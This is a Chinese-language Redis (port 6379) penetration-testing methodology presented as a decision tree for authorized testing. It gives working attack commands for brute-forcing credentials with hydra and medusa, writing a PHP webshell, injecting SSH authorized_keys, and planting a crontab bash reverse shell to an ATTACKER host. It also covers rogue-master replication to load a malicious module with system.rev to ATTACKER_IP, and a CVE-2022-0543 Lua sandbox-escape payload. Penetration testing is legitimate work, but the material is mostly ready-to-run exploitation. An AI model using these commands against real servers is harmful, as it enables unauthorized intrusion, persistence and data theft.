Redis 渗透测试方法论(6379 端口)
一、用途 本方法论用于在授权渗透测试中,针对开放 6379 端口的 Redis 服务进行系统化测试,从服务发现、认证判断、信息提取,到文件写入、主从复制 RCE、Lua 沙箱逃逸,以及 SSRF 结合利用,形成完整决策树。
二、整体决策树 发现 6379 端口开放后,按阶段推进:
- Phase 1 服务发现:Nmap 脚本扫描版本信息,手动连接测试(nc / redis-cli),判断是否需要认证。无认证直接进入 Phase 3,需认证进入 Phase 2。
- Phase 2 认证与爆破:尝试默认密码,使用 hydra / nmap / medusa 爆破,支持 AUTH <username> <password>。
- Phase 3 信息提取:INFO、CONFIG GET *、CLIENT LIST、数据库遍历(SELECT / KEYS * / GET)。
- Phase 4 文件写入利用:Webshell 写入、SSH authorized_keys 写入、Crontab 写入、模板引擎覆盖。
- Phase 5 主从复制 RCE:redis-rogue-server 自动化,或手动 SLAVEOF + MODULE LOAD。
- Phase 6 Lua 沙箱逃逸:CVE-2022-0543、CVE-2025-49844、CVE-2025-46817、CVE-2025-46818。
- SSRF 场景:通过 SSRF 与 Redis 通信(CRLF 注入)。
三、主要能力与使用方式
Phase 1 服务发现 自动枚举: nmap --script redis-info -sV -p 6379 <IP> msf> use auxiliary/scanner/redis/redis_server 手动连接: nc -vn <IP> 6379 redis-cli -h <IP> 第一个命令使用 INFO;若返回 -NOAUTH Authentication required. 则需要认证。
Phase 2 认证与爆破 Redis 默认无认证,可配置仅密码(requirepass)或用户名+密码(masteruser)。 认证命令: AUTH <password> AUTH <username> <password> 成功返回 +OK。 爆破: hydra -P passwords.txt redis://<IP> nmap --script redis-brute -p 6379 <IP> medusa -h <IP> -P passwords.txt -M redis
Phase 3 信息提取 基础信息收集: INFO CLIENT LIST CONFIG GET * CONFIG GET dir CONFIG GET dbfilename 数据库遍历: INFO keyspace SELECT <db_number> KEYS * GET <key> TYPE <key> LRANGE <key> 0 -1 HGETALL <key> DUMP <key> 实时监控: MONITOR SLOWLOG GET 25
Phase 4 文件写入利用 先通过 CONFIG GET dir 获取当前目录,再按环境选择:
- 有 Web 服务:Webshell 写入 CONFIG SET dir /usr/share/nginx/html CONFIG SET dbfilename redis.php SET test "<?php phpinfo(); ?>" SAVE
- 有 SSH 服务:SSH 密钥写入 ssh-keygen -t rsa -f /tmp/redis_rsa (echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/spaced_key.txt cat /tmp/spaced_key.txt | redis-cli -h <IP> -x set ssh_key CONFIG SET dir /var/lib/redis/.ssh CONFIG SET dbfilename authorized_keys SAVE ssh -i /tmp/redis_rsa redis@<IP>
- Linux 系统:Crontab 写入 SET cron "\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'\n" CONFIG SET dir /var/spool/cron/crontabs/(Ubuntu)或 /var/spool/cron/(CentOS) CONFIG SET dbfilename root SAVE
- 模板引擎环境:覆盖模板文件,注入模板表达式,实现 RCE。
Phase 5 主从复制 RCE 原理:将目标 Redis 设为攻击者控制的 master 的 slave,通过复制推送恶意 .so 模块,然后加载执行。 自动化利用(Redis <= 5.0.5): ./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ATTACKER_IP> 手动利用:
- 编译恶意模块(参考 https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)
- 让目标成为 slave: SLAVEOF <ATTACKER_IP> 6379
- 在攻击者 Redis 上设置模块数据
- 加载模块: MODULE LOAD /path/to/module.so system.exec "id" system.rev <ATTACKER_IP> 9999
- 清理: MODULE UNLOAD mymodule SLAVEOF NO ONE
Phase 6 Lua 沙箱逃逸 逃逸决策树:
- Debian/Ubuntu + Redis < 6.2.x 修补前:CVE-2022-0543 — package.loadlib 逃逸
- Redis < 8.2.2 / 8.0.4 / 7.4.6 / 7.2.11 / 6.2.20: CVE-2025-49844 — Lua parser UAF(GC 竞态) CVE-2025-46817 — unpack 整数溢出(DoS/内存耗尽) CVE-2025-46818 — 元表污染(跨用户代码执行)
- 其他版本:searchsploit redis lua CVE-2022-0543 示例: redis-cli -h <IP> EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
SSRF 结合利用 当发现 SSRF 漏洞且目标内网有 Redis 时,可通过 SSRF 发送 Redis 命令:
- Redis 为明文协议,可通过 HTTP 请求注入命令
- 利用 CRLF 注入构造 Redis 命令
- 典型场景:Gitlab SSRF + CRLF -> Redis queue -> RCE
四、适用场景 适用于授权渗透测试中遇到开放 6379 端口的 Redis 服务,需要评估未授权访问、信息泄露、文件写入、RCE 及 SSRF 结合利用风险时。
五、限制 本方法论仅用于合法授权测试。具体利用效果取决于目标 Redis 版本、配置、运行环境及权限,部分 CVE 有版本范围限制。深入技术细节可参考 references/redis-techniques.md。